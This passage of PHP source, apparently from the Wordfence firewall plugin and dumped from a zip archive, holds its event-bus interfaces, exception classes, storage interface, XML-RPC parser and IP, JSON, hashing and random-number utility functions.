	const INTERVAL = 604800;
	const RETRY_DELAY = 14400;

	public function fire() {
		$waf = $this->getWaf();
		if (!$waf)
			return;
		$storageEngine = $waf->getStorageEngine();
		$lastFailure = $storageEngine->getConfig('cookieRedactionLastUpdateFailure', null, 'transient');
		if ($lastFailure !== null && time() - (int) $lastFailure < self::RETRY_DELAY)
			return;
		try {
			$api = new wfWafApi($waf);
			$response = $api->actionGet('get_cookie_redaction_patterns');
			if ($response->getStatusCode() === 200) {
				$body = $response->getBody();
				$data = wfWAFUtils::json_decode($body, true);
				if (is_array($data) && array_key_exists('data', $data)) {
					$patterns = $data['data'];
					if (is_array($patterns)) {
						$storageEngine->setConfig('cookieRedactionPatterns', wfWAFUtils::json_encode($patterns), 'transient');
						return;
					}
				}
				error_log('Malformed cookie redaction patterns received, response body: ' . print_r($body, true));
			}
			else {
				error_log('Failed to retrieve cookie redaction patterns, response code: ' . $response->getStatusCode());
			}
		}
		catch (wfWafMissingApiKeyException $e) {
			// This is intentionally ignored as the API key may be missing during initial setup of the plugin
		}
		catch (wfWafApiException $e) {
			error_log('Failed to retrieve cookie redaction patterns: ' . $e->getMessage());
		}
		$storageEngine->setConfig('cookieRedactionLastUpdateFailure', time(), 'transient');
	}

	public function getNextFireTime() {
		return time() + self::INTERVAL;
	}

}
	
interface wfWAFObserver {
	
	public function prevBlocked($ip);
	
	public function block($ip, $exception);
	
	public function allow($ip, $exception);
	
	public function blockXSS($ip, $exception);
	
	public function blockSQLi($ip, $exception);
	
	public function log($ip, $event);
	
	public function wafDisabled();
	
	public function beforeRunRules();
	
	public function afterRunRules();
}

class wfWAFEventBus implements wfWAFObserver {

	private $observers = array();

	/**
	 * @param wfWAFObserver $observer
	 * @throws wfWAFEventBusException
	 */
	public function attach($observer) {
		if (!($observer instanceof wfWAFObserver)) {
			throw new wfWAFEventBusException('Observer supplied to wfWAFEventBus::attach must implement wfWAFObserver');
		}
		$this->observers[] = $observer;
	}

	/**
	 * @param wfWAFObserver $observer
	 */
	public function detach($observer) {
		$key = array_search($observer, $this->observers, true);
		if ($key !== false) {
			unset($this->observers[$key]);
		}
	}

	public function prevBlocked($ip) {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->prevBlocked($ip);
		}
	}

	public function block($ip, $exception) {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->block($ip, $exception);
		}
	}

	public function allow($ip, $exception) {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->allow($ip, $exception);
		}
	}

	public function blockXSS($ip, $exception) {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->blockXSS($ip, $exception);
		}
	}

	public function blockSQLi($ip, $exception) {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->blockSQLi($ip, $exception);
		}
	}
	
	public function log($ip, $event) {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->log($ip, $event);
		}
	}


	public function wafDisabled() {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->wafDisabled();
		}
	}

	public function beforeRunRules() {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->beforeRunRules();
		}
	}

	public function afterRunRules() {
		/** @var wfWAFObserver $observer */
		foreach ($this->observers as $observer) {
			$observer->afterRunRules();
		}
	}
}

class wfWAFBaseObserver implements wfWAFObserver {

	public function prevBlocked($ip) {

	}

	public function block($ip, $exception) {

	}

	public function allow($ip, $exception) {

	}

	public function blockXSS($ip, $exception) {

	}

	public function blockSQLi($ip, $exception) {

	}
	
	public function log($ip, $exception) {
		
	}

	public function wafDisabled() {

	}

	public function beforeRunRules() {

	}

	public function afterRunRules() {

	}
}

class wfWAFException extends Exception {
}

class wfWAFRunException extends Exception {

	/** @var array */
	private $failedRules;
	/** @var string */
	private $paramKey;
	/** @var string */
	private $paramValue;
	/** @var wfWAFRequestInterface */
	private $request;

	/**
	 * @return array
	 */
	public function getFailedRules() {
		return $this->failedRules;
	}

	/**
	 * @param array $failedRules
	 */
	public function setFailedRules($failedRules) {
		$this->failedRules = $failedRules;
	}

	/**
	 * @return string
	 */
	public function getParamKey() {
		return $this->paramKey;
	}

	/**
	 * @param string $paramKey
	 */
	public function setParamKey($paramKey) {
		$this->paramKey = $paramKey;
	}

	/**
	 * @return string
	 */
	public function getParamValue() {
		return $this->paramValue;
	}

	/**
	 * @param string $paramValue
	 */
	public function setParamValue($paramValue) {
		$this->paramValue = $paramValue;
	}

	/**
	 * @return wfWAFRequestInterface
	 */
	public function getRequest() {
		return $this->request;
	}

	/**
	 * @param wfWAFRequestInterface $request
	 */
	public function setRequest($request) {
		$this->request = $request;
	}
}

class wfWAFAllowException extends wfWAFRunException {
}

class wfWAFBlockException extends wfWAFRunException {
}

class wfWAFBlockXSSException extends wfWAFRunException {
}

class wfWAFBlockSQLiException extends wfWAFRunException {
}

class wfWAFBuildRulesException extends wfWAFException {
}

class wfWAFEventBusException extends wfWAFException {
}
}

class wfWAFLogEvent {

	private $failedRules;
	private $paramKey, $paramValue;
	private $request;

	public function __construct($failedRules=array(), $paramKey=null, $paramValue=null, $request=null){
		$this->failedRules=$failedRules;
		$this->paramKey=$paramKey;
		$this->paramValue=$paramValue;
		$this->request=$request;
	}

	public function getFailedRules(){
		return $this->failedRules;
	}

	public function getParamKey(){
		return $this->paramKey;
	}

	public function getParamValue(){
		return $this->paramValue;
	}

	public function getRequest(){
		return $this->request;
	}

}PK       ! c  c    storage.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

interface wfWAFStorageInterface {
	const IP_BLOCKS_ALL = PHP_INT_MAX;
	const IP_BLOCKS_SINGLE = 1; //1 << 0
	const IP_BLOCKS_BLACKLIST = 2; //1 << 1
	
	public function hasPreviousAttackData($olderThan);

	public function hasNewerAttackData($newerThan);

	public function getAttackData();

	public function getAttackDataArray();

	public function getNewestAttackDataArray($newerThan);

	public function truncateAttackData();

	/**
	 * @param array $failedRules
	 * @param string $failedParamKey
	 * @param string $failedParamValue
	 * @param wfWAFRequestInterface $request
	 * @param mixed $_
	 * @return mixed
	 */
	public function logAttack($failedRules, $failedParamKey, $failedParamValue, $request, $_ = null);

	/**
	 * @param int $timestamp
	 * @param string $ip
	 * @param bool $ssl
	 * @param array $failedRuleIDs
	 * @param wfWAFRequestInterface|string $request
	 * @param mixed $_
	 * @return mixed
	 */
//	public function logAttack($timestamp, $ip, $ssl, $failedRuleIDs, $request, $_ = null);

	/**
	 * @param float $timestamp
	 * @param string $ip
	 * @return mixed
	 */
	public function blockIP($timestamp, $ip);

	public function isIPBlocked($ip);
	
	public function purgeIPBlocks($types = wfWAFStorageInterface::IP_BLOCKS_ALL);

	public function getConfig($key, $default = null, $category = '');

	public function setConfig($key, $value, $category = '');

	public function unsetConfig($key, $category = '');

	public function uninstall();
	
	//optional public function fileList();

	public function isInLearningMode();

	public function isDisabled();

	public function getRulesDSLCacheFile();

	public function isAttackDataFull();

	public function vacuum();

	public function getRules();

	public function setRules($rules);

	public function needsInitialRules();

	public function getDescription();
}
}
PK       ! Cc#  #  
  xmlrpc.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

/**
 * Adaptation of WordPress's XML-RPC message parser so we can use it without loading the full environment
 *
 */
class wfXMLRPCBody
{
	var $header;
	var $doctype;
	var $message;
	var $messageType;  // methodCall / methodResponse / fault
	var $faultCode;
	var $faultString;
	var $methodName;
	var $params;
	
	// Current variable stacks
	var $_arraystructs = array();   // The stack used to keep track of the current array/struct
	var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array
	var $_currentStructName = array();  // A stack as well
	var $_param;
	var $_value;
	var $_currentTag;
	var $_currentTagContents;
	// The XML parser
	var $_parser;
	
	static function canParse() {
		return function_exists('xml_parser_create');
	}
	
	/**
	 * PHP5 constructor.
	 */
	function __construct( $message )
	{
		$this->message =& $message;
	}
	
	function __toString() {
		$output = '';
		if (isset($this->header)) {
			$output .= $this->header . "\n";
		}
		
		if (isset($this->doctype)) {
			$output .= $this->doctype . "\n";
		}
		
		$output .= '<methodCall><methodName>' . htmlentities($this->methodName, ENT_XML1) . '</methodName><params>' . $this->_paramsToString($this->params) . '</params></methodCall>';
		return $output;
	}
	
	function _paramsToString($params, $parentType = false) {
		$output = '';
		if (is_array($params)) {
			foreach ($params as $key => $p) {
				if (!$parentType) { //Top level
					$output .= '<param><value>';
				}
				else if ($parentType == 'array') {
					$output .= '<value>';
				}
				else if ($parentType == 'struct') {
					$output .= '<member><name>' . htmlentities($key, ENT_XML1) . '</name><value>';
				}
				
				if ($p['tag'] == 'data') {
					$output .= '<array><data>' . $this->_paramsToString($p['value'], 'array') . '</data></array>';
				}
				else if ($p['tag'] == 'struct') {
					$output .= '<struct>' . $this->_paramsToString($p['value'], 'struct') . '</struct>';
				}
				else if ($p['tag'] == 'base64') {
					$output .= '<base64>' . base64_encode($p['value']) . '</base64>';
				}
				else if ($p['tag'] == 'value') {
					$output .= htmlentities($p['value'], ENT_XML1);
				}
				else if ($p['tag'] == 'dateTime.iso8601') {
					$output .= $p['value']->getXml();
				}
				else {
					$output .= '<' . $p['tag'] . '>' . htmlentities($p['value'], ENT_XML1) . '</' . $p['tag'] . '>';
				}
				
				if (!$parentType) { //Top level
					$output .= '</value></param>';
				}
				else if ($parentType == 'array') {
					$output .= '</value>';
				}
				else if ($parentType == 'struct') {
					$output .= '</value></member>';
				}
			}
		}
		return $output;
	}
	
	function parse()
	{
		if (!function_exists( 'xml_parser_create')) {
			return false;
		}
		
		// first remove the XML declaration
		if (preg_match('/<\?xml.*?\?'.'>/s', substr( $this->message, 0, 100 ), $matches)) {
			$this->header = $matches[0];
		}
		$replacement = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 );
		$this->message = trim( substr_replace( $this->message, $replacement, 0, 100 ) );
		if ( '' == $this->message ) {
			return false;
		}
		
		// Then remove the DOCTYPE
		if (preg_match('/^<!DOCTYPE[^>]*+>/i', substr( $this->message, 0, 100 ), $matches)) {
			$this->doctype = $matches[0];
		}
		$replacement = preg_replace( '/^<!DOCTYPE[^>]*+>/i', '', substr( $this->message, 0, 200 ), 1 );
		$this->message = trim( substr_replace( $this->message, $replacement, 0, 200 ) );
		if ( '' == $this->message ) {
			return false;
		}
		
		// Check that the root tag is valid
		$root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) );
		if ( '<!DOCTYPE' === strtoupper( $root_tag ) ) {
			return false;
		}
		if ( ! in_array( $root_tag, array( '<methodCall', '<methodResponse', '<fault' ) ) ) {
			return false;
		}
		
		// Bail if there are too many elements to parse
		$element_limit = 30000;
		if ( $element_limit && 2 * $element_limit < substr_count( $this->message, '<' ) ) {
			return false;
		}
		
		$this->_parser = xml_parser_create();
		// Set XML parser to take the case of tags in to account
		xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);
		// Set XML parser callback functions
		xml_set_object($this->_parser, $this);
		xml_set_element_handler($this->_parser, 'tag_open', 'tag_close');
		xml_set_character_data_handler($this->_parser, 'cdata');
		
		// 256Kb, parse in chunks to avoid the RAM usage on very large messages
		$chunk_size = 262144;
		
		$final = false;
		do {
			if (strlen($this->message) <= $chunk_size) {
				$final = true;
			}
			$part = substr($this->message, 0, $chunk_size);
			$this->message = substr($this->message, $chunk_size);
			if (!xml_parse($this->_parser, $part, $final)) {
				return false;
			}
			if ($final) {
				break;
			}
		} while (true);
		xml_parser_free($this->_parser);
		
		// Grab the error messages, if any
		if ($this->messageType == 'fault') {
			$this->faultCode = $this->params[0]['faultCode'];
			$this->faultString = $this->params[0]['faultString'];
		}
		return true;
	}
	
	function tag_open($parser, $tag, $attr)
	{
		$this->_currentTagContents = '';
		$this->_currentTag = $tag;
		switch($tag) {
			case 'methodCall':
			case 'methodResponse':
			case 'fault':
				$this->messageType = $tag;
				break;
			/* Deal with stacks of arrays and structs */
			case 'data':    // data is to all intents and puposes more interesting than array
				$this->_arraystructstypes[] = 'array';
				$this->_arraystructs[] = array();
				break;
			case 'struct':
				$this->_arraystructstypes[] = 'struct';
				$this->_arraystructs[] = array();
				break;
		}
	}
	
	function cdata($parser, $cdata)
	{
		$this->_currentTagContents .= $cdata;
	}
	
	function tag_close($parser, $tag)
	{
		$valueFlag = false;
		switch($tag) {
			case 'int':
			case 'i4':
				$value = (int)trim($this->_currentTagContents);
				$valueFlag = true;
				break;
			case 'double':
				$value = (double)trim($this->_currentTagContents);
				$valueFlag = true;
				break;
			case 'string':
				$value = (string)trim($this->_currentTagContents);
				$valueFlag = true;
				break;
			case 'dateTime.iso8601':
				$value = new wfXMLRPCDate(trim($this->_currentTagContents));
				$valueFlag = true;
				break;
			case 'value':
				// "If no type is indicated, the type is string."
				if (trim($this->_currentTagContents) != '') {
					$value = (string)$this->_currentTagContents;
					$valueFlag = true;
				}
				break;
			case 'boolean':
				$value = (boolean)trim($this->_currentTagContents);
				$valueFlag = true;
				break;
			case 'base64':
				$value = base64_decode($this->_currentTagContents);
				$valueFlag = true;
				break;
			/* Deal with stacks of arrays and structs */
			case 'data':
			case 'struct':
				$value = array_pop($this->_arraystructs);
				array_pop($this->_arraystructstypes);
				$valueFlag = true;
				break;
			case 'member':
				array_pop($this->_currentStructName);
				break;
			case 'name':
				$this->_currentStructName[] = trim($this->_currentTagContents);
				break;
			case 'methodName':
				$this->methodName = trim($this->_currentTagContents);
				break;
		}
		
		if ($valueFlag) {
			if (count($this->_arraystructs) > 0) {
				// Add value to struct or array
				if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') {
					// Add to struct
					$this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = array('tag' => $tag, 'value' => $value);
				} else {
					// Add to array
					$this->_arraystructs[count($this->_arraystructs)-1][] = array('tag' => $tag, 'value' => $value);
				}
			} else {
				// Just add as a parameter
				$this->params[] = array('tag' => $tag, 'value' => $value);
			}
		}
		$this->_currentTagContents = '';
	}
}

class wfXMLRPCDate {
	var $year;
	var $month;
	var $day;
	var $hour;
	var $minute;
	var $second;
	var $timezone;
	
	function __construct( $time )
	{
		// $time can be a PHP timestamp or an ISO one
		if (is_numeric($time)) {
			$this->parseTimestamp($time);
		} else {
			$this->parseIso($time);
		}
	}
	
	function parseTimestamp($timestamp)
	{
		$this->year = date('Y', $timestamp);
		$this->month = date('m', $timestamp);
		$this->day = date('d', $timestamp);
		$this->hour = date('H', $timestamp);
		$this->minute = date('i', $timestamp);
		$this->second = date('s', $timestamp);
		$this->timezone = '';
	}
	
	function parseIso($iso)
	{
		$this->year = substr($iso, 0, 4);
		$this->month = substr($iso, 4, 2);
		$this->day = substr($iso, 6, 2);
		$this->hour = substr($iso, 9, 2);
		$this->minute = substr($iso, 12, 2);
		$this->second = substr($iso, 15, 2);
		$this->timezone = substr($iso, 17);
	}
	
	function getIso()
	{
		return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone;
	}
	
	function getXml()
	{
		return '<dateTime.iso8601>'.$this->getIso().'</dateTime.iso8601>';
	}
	
	function getTimestamp()
	{
		return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year);
	}
}
}
PK       !  @:  :  	  utils.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

class wfWAFUtils {

	/**
	 * Return dot or colon notation of IPv4 or IPv6 address.
	 *
	 * @param string $ip
	 * @return string|bool
	 */
	public static function inet_ntop($ip) {
		// trim this to the IPv4 equiv if it's in the mapped range
		if (wfWAFUtils::strlen($ip) == 16 && wfWAFUtils::substr($ip, 0, 12) == "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") {
			$ip = wfWAFUtils::substr($ip, 12, 4);
		}
		return self::hasIPv6Support() ? inet_ntop($ip) : self::_inet_ntop($ip);
	}

	/**
	 * Return the packed binary string of an IPv4 or IPv6 address.
	 *
	 * @param string $ip
	 * @return string
	 */
	public static function inet_pton($ip) {
		$default = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00";
		try {
			// convert the 4 char IPv4 to IPv6 mapped version.
			$pton = str_pad(self::hasIPv6Support() ? inet_pton($ip) : self::_inet_pton($ip), 16, $default, STR_PAD_LEFT);
		}
		catch (Throwable $t) {
			$pton = $default;
		}
		return $pton;
	}

	/**
	 * Added compatibility for hosts that do not have inet_pton.
	 *
	 * @param $ip
	 * @return bool|string
	 */
	public static function _inet_pton($ip) {
		// IPv4
		if (preg_match('/^(?:\d{1,3}(?:\.|$)){4}/', $ip)) {
			$octets = explode('.', $ip);
			$bin = chr($octets[0]) . chr($octets[1]) . chr($octets[2]) . chr($octets[3]);
			return $bin;
		}

		// IPv6
		if (preg_match('/^((?:[\da-f]{1,4}(?::|)){0,8})(::)?((?:[\da-f]{1,4}(?::|)){0,8})$/i', $ip)) {
			if ($ip === '::') {
				return "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
			}
			$colon_count = wfWAFUtils::substr_count($ip, ':');
			$dbl_colon_pos = wfWAFUtils::strpos($ip, '::');
			if ($dbl_colon_pos !== false) {
				$ip = str_replace('::', str_repeat(':0000',
						(($dbl_colon_pos === 0 || $dbl_colon_pos === wfWAFUtils::strlen($ip) - 2) ? 9 : 8) - $colon_count) . ':', $ip);
				$ip = trim($ip, ':');
			}

			$ip_groups = explode(':', $ip);
			$ipv6_bin = '';
			foreach ($ip_groups as $ip_group) {
				$ipv6_bin .= pack('H*', str_pad($ip_group, 4, '0', STR_PAD_LEFT));
			}

			return wfWAFUtils::strlen($ipv6_bin) === 16 ? $ipv6_bin : false;
		}

		// IPv4 mapped IPv6
		if (preg_match('/^((?:0{1,4}(?::|)){0,5})(::)?ffff:((?:\d{1,3}(?:\.|$)){4})$/i', $ip, $matches)) {
			$octets = explode('.', $matches[3]);
			return "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff" . chr($octets[0]) . chr($octets[1]) . chr($octets[2]) . chr($octets[3]);
		}

		return false;
	}

	/**
	 * Added compatibility for hosts that do not have inet_ntop.
	 *
	 * @param $ip
	 * @return bool|string
	 */
	public static function _inet_ntop($ip) {
		// IPv4
		if (wfWAFUtils::strlen($ip) === 4) {
			return ord($ip[0]) . '.' . ord($ip[1]) . '.' . ord($ip[2]) . '.' . ord($ip[3]);
		}

		// IPv6
		if (wfWAFUtils::strlen($ip) === 16) {

			// IPv4 mapped IPv6
			if (wfWAFUtils::substr($ip, 0, 12) == "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") {
				return "::ffff:" . ord($ip[12]) . '.' . ord($ip[13]) . '.' . ord($ip[14]) . '.' . ord($ip[15]);
			}

			$hex = bin2hex($ip);
			$groups = str_split($hex, 4);
			$collapse = false;
			$done_collapse = false;
			foreach ($groups as $index => $group) {
				if ($group == '0000' && !$done_collapse) {
					if (!$collapse) {
						$groups[$index] = ':';
					} else {
						$groups[$index] = '';
					}
					$collapse = true;
				} else if ($collapse) {
					$done_collapse = true;
					$collapse = false;
				}
				$groups[$index] = ltrim($groups[$index], '0');
			}
			$ip = join(':', array_filter($groups));
			$ip = str_replace(':::', '::', $ip);
			return $ip == ':' ? '::' : $ip;
		}

		return false;
	}

	/**
	 * Verify PHP was compiled with IPv6 support.
	 *
	 * Some hosts appear to not have inet_ntop, and others appear to have inet_ntop but are unable to process IPv6 addresses.
	 *
	 * @return bool
	 */
	public static function hasIPv6Support() {
		static $hasSupport = null;
		if ($hasSupport === null) {
			$hasSupport = defined('AF_INET6') && is_callable('inet_ntop') && is_callable('inet_pton');
		}
		return $hasSupport;
	}

	/**
	 * Expand a compressed printable representation of an IPv6 address.
	 *
	 * @param string $ip
	 * @return string
	 */
	public static function expandIPv6Address($ip) {
		$hex = bin2hex(self::inet_pton($ip));
		$ip = wfWAFUtils::substr(preg_replace("/([a-f0-9]{4})/i", "$1:", $hex), 0, -1);
		return $ip;
	}

	protected static $servicesJSON;

	public static function json_encode($string) {
		if (function_exists('json_encode')) {
			return json_encode($string);
		} else {
			if (!self::$servicesJSON) {
				require_once WFWAF_LIB_PATH . 'json.php';
				self::$servicesJSON = new wfServices_JSON();
			}
			return self::$servicesJSON->encodeUnsafe($string);
		}
	}

	public static function json_decode($string, $assoc_array = false) {
		if (function_exists('json_decode')) {
			return json_decode($string, $assoc_array);
		} else {
			if (!self::$servicesJSON) {
				require_once WFWAF_LIB_PATH . 'json.php';
				self::$servicesJSON = new wfServices_JSON();
			}
			$res = self::$servicesJSON->decode($string);
			if ($assoc_array)
				$res = self::_json_decode_object_helper($res);
			return $res;

		}
	}

	/**
	 * @param object $data
	 * @return array
	 */
	protected static function _json_decode_object_helper($data) {
		if (is_object($data))
			$data = get_object_vars($data);
		return is_array($data) ? array_map('wfWAFUtils::_json_decode_object_helper', $data) : $data;
	}

	public static function json_encode_limited($data, $limit, $truncatable) {
		$json = self::json_encode($data);
		$size = strlen($json);
		if ($size > $limit) {
			$json = null;
			$minimalData = $data;
			foreach ($minimalData as $key => &$value) {
				if (in_array($key, $truncatable)) {
					$value = '';
				}
			}
			$minimumSize = strlen(self::json_encode($minimalData));
			if ($minimumSize <= $limit) {
				$excess = $size - $limit;
				foreach ($truncatable as $field) {
					if (!array_key_exists($field, $data))
						continue;
					$value = $data[$field];
					if (is_string($value)) {
						$originalLength = strlen($value);
						$truncatedLength = max(0, $originalLength - $excess);
						$excess -= ($originalLength - $truncatedLength);
						$data[$field] = substr($value, 0, $truncatedLength);
					}
					if ($excess === 0) {
						$json = self::json_encode($data);
						break;
					}
				}
			}
		}
		return $json;
	}

	/**
	 * Compare two strings in constant time. It can leak the length of a string.
	 *
	 * @param string $a Expected string.
	 * @param string $b Actual string.
	 * @return bool Whether strings are equal.
	 */
	public static function hash_equals($a, $b) {
		$a_length = wfWAFUtils::strlen($a);
		if ($a_length !== wfWAFUtils::strlen($b)) {
			return false;
		}
		$result = 0;

		// Do not attempt to "optimize" this.
		for ($i = 0; $i < $a_length; $i++) {
			$result |= ord($a[$i]) ^ ord($b[$i]);
		}

		return $result === 0;
	}

	/**
	 * @param $algo
	 * @param $data
	 * @param $key
	 * @param bool|false $raw_output
	 * @return bool|string
	 */
	public static function hash_hmac($algo, $data, $key, $raw_output = false) {
		if (function_exists('hash_hmac')) {
			return hash_hmac($algo, $data, $key, $raw_output);
		}
		return self::_hash_hmac($algo, $data, $key, $raw_output);
	}

	/**
	 * @param $algo
	 * @param $data
	 * @param $key
	 * @param bool|false $raw_output
	 * @return bool|string
	 */
	private static function _hash_hmac($algo, $data, $key, $raw_output = false) {
		$packs = array('md5' => 'H32', 'sha1' => 'H40');

		if (!isset($packs[$algo]))
			return false;

		$pack = $packs[$algo];

		if (wfWAFUtils::strlen($key) > 64)
			$key = pack($pack, $algo($key));

		$key = str_pad($key, 64, chr(0));

		$ipad = (wfWAFUtils::substr($key, 0, 64) ^ str_repeat(chr(0x36), 64));
		$opad = (wfWAFUtils::substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64));

		$hmac = $algo($opad . pack($pack, $algo($ipad . $data)));

		if ($raw_output)
			return pack($pack, $hmac);
		return $hmac;
	}

	/**
	 * @param int $length
	 * @param string $chars
	 * @return string
	 */
	public static function getRandomString($length = 16, $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|') {
		// This is faster than calling self::random_int for $length
		$bytes = self::random_bytes($length);
		$return = '';
		$maxIndex = wfWAFUtils::strlen($chars) - 1;
		for ($i = 0; $i < $length; $i++) {
			$fp = (float) ord($bytes[$i]) / 255.0; // convert to [0,1]
			$index = (int) (round($fp * $maxIndex));
			$return .= $chars[$index];
		}
		return $return;
	}

	/**
	 * Polyfill for random_bytes.
	 *
	 * @param int $bytes
	 * @return string
	 */
	public static function random_bytes($bytes) {
		$bytes = (int) $bytes;
		if (function_exists('random_bytes')) {
			try {
				$rand = random_bytes($bytes);
				if (is_string($rand) && wfWAFUtils::strlen($rand) === $bytes) {
					return $rand;
				}
			} catch (Exception $e) {
				// Fall through
			} catch (TypeError $e) {
				// Fall through
			} catch (Error $e) {
				// Fall through
			}
		}
		if (function_exists('mcrypt_create_iv')) {
			// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.mcrypt_create_ivDeprecatedRemoved,PHPCompatibility.Extensions.RemovedExtensions.mcryptDeprecatedRemoved,PHPCompatibility.Constants.RemovedConstants.mcrypt_dev_urandomDeprecatedRemoved
			$rand = @mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM);
			if (is_string($rand) && wfWAFUtils::strlen($rand) === $bytes) {
				return $rand;
			}
		}
		if (function_exists('openssl_random_pseudo_bytes')) {
			$rand = @openssl_random_pseudo_bytes($bytes, $strong);
			if (is_string($rand) && wfWAFUtils::strlen($rand) === $bytes) {
				return $rand;
			}
		}
		// Last resort is insecure
		$return = '';
		for ($i = 0; $i < $bytes; $i++) {
			$return .= chr(mt_rand(0, 255));
		}
		return $return;
	}

	/**
	 * Polyfill for random_int.
	 *
	 * @param int $min
	 * @param int $max
	 * @return int
	 */
	public static function random_int($min = 0, $max = 0x7FFFFFFF) {
		if (function_exists('random_int')) {
			try {
				return random_int($min, $max);
			} catch (Exception $e) {
				// Fall through
			} catch (TypeError $e) {
				// Fall through
			} catch (Error $e) {
				// Fall through
			}
		}
		$diff = $max - $min;
		$bytes = self::random_bytes(4);
		if ($bytes === false || wfWAFUtils::strlen($bytes) != 4) {
			throw new RuntimeException("Unable to get 4 bytes");
		}
		$val = @unpack("Nint", $bytes);
		$val = $val['int'] & 0x7FFFFFFF;
		$fp = (float) $val / 2147483647.0; // convert to [0,1]
		return (int) (round($fp * $diff) + $min);
	}

	/**
	 * @param mixed $subject
	 * @return array|string
	 */
	public static function stripMagicQuotes($subject) {
		// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.magic_quotes_sybaseDeprecatedRemoved
		$sybase = ini_get('magic_quotes_sybase');
		$sybaseEnabled = ((is_numeric($sybase) && $sybase) ||
			(is_string($sybase) && $sybase && !in_array(wfWAFUtils::strtolower($sybase), array(
					'off',
					'false'
				))));
		if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70400) { //Avoid get_magic_quotes_gpc on PHP >= 7.4.0
			return $subject;
		}
		// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated
		if ((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) || $sybaseEnabled) {
			return self::stripslashes_deep($subject);
		}
		return $subject;
	}

	/**
	 * @param mixed $subject
	 * @return array|string
	 */
	public static function stripslashes_deep($subject) {
		if (is_array($subject)) {
			return array_map(array(
				'self', 'stripslashes_deep',
			), $subject);
		} else if (is_string($subject)) {
			return stripslashes($subject);
		}
		return $subject;
	}


	/**
	 * Set the mbstring internal encoding to a binary safe encoding when func_overload
	 * is enabled.
	 *
	 * When mbstring.func_overload is in use for multi-byte encodings, the results from
	 * strlen() and similar functions respect the utf8 characters, causing binary data
	 * to return incorrect lengths.
	 *
	 * This function overrides the mbstring encoding to a binary-safe encoding, and
	 * resets it to the users expected encoding afterwards through the
	 * `reset_mbstring_encoding` function.
	 *
	 * It is safe to recursively call this function, however each
	 * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
	 * of `reset_mbstring_encoding()` calls.
	 *
	 * @see wfWAFUtils::reset_mbstring_encoding
	 *
	 * @staticvar array $encodings
	 * @staticvar bool  $overloaded
	 *
	 * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
	 *                    Default false.
	 */
	public static function mbstring_binary_safe_encoding($reset = false) {
		static $encodings = array();
		static $overloaded = null;

		if (is_null($overloaded)) {
			// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			$overloaded = function_exists('mb_internal_encoding') && (ini_get('mbstring.func_overload') & 2); 
		}

		if (false === $overloaded) { return; }

		if (!$reset) {
			$encoding = mb_internal_encoding();
			array_push($encodings, $encoding);
			mb_internal_encoding('ISO-8859-1');
		}

		if ($reset && $encodings) {
			$encoding = array_pop($encodings);
			mb_internal_encoding($encoding);
		}
	}

	/**
	 * Reset the mbstring internal encoding to a users previously set encoding.
	 *
	 * @see wfWAFUtils::mbstring_binary_safe_encoding
	 */
	public static function reset_mbstring_encoding() {
		self::mbstring_binary_safe_encoding(true);
	}

	/**
	 * @param callable $function
	 * @param array $args
	 * @return mixed
	 */
	protected static function callMBSafeStrFunction($function, $args) {
		self::mbstring_binary_safe_encoding();
		$return = call_user_func_array($function, $args);
		self::reset_mbstring_encoding();
		return $return;
	}

	/**
	 * Multibyte safe strlen.
	 *
	 * @param $binary
	 * @return int
	 */
	public static function strlen($binary) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strlen', $args);
	}

	/**
	 * @param $haystack
	 * @param $needle
	 * @param int $offset
	 * @return int
	 */
	public static function stripos($haystack, $needle, $offset = 0) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('stripos', $args);
	}

	/**
	 * @param $string
	 * @return mixed
	 */
	public static function strtolower($string) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strtolower', $args);
	}

	/**
	 * @param $string
	 * @param $start
	 * @param $length
	 * @return mixed
	 */
	public static function substr($string, $start, $length = null) {
		if ($length === null) { $length = self::strlen($string); }
		return self::callMBSafeStrFunction('substr', array(
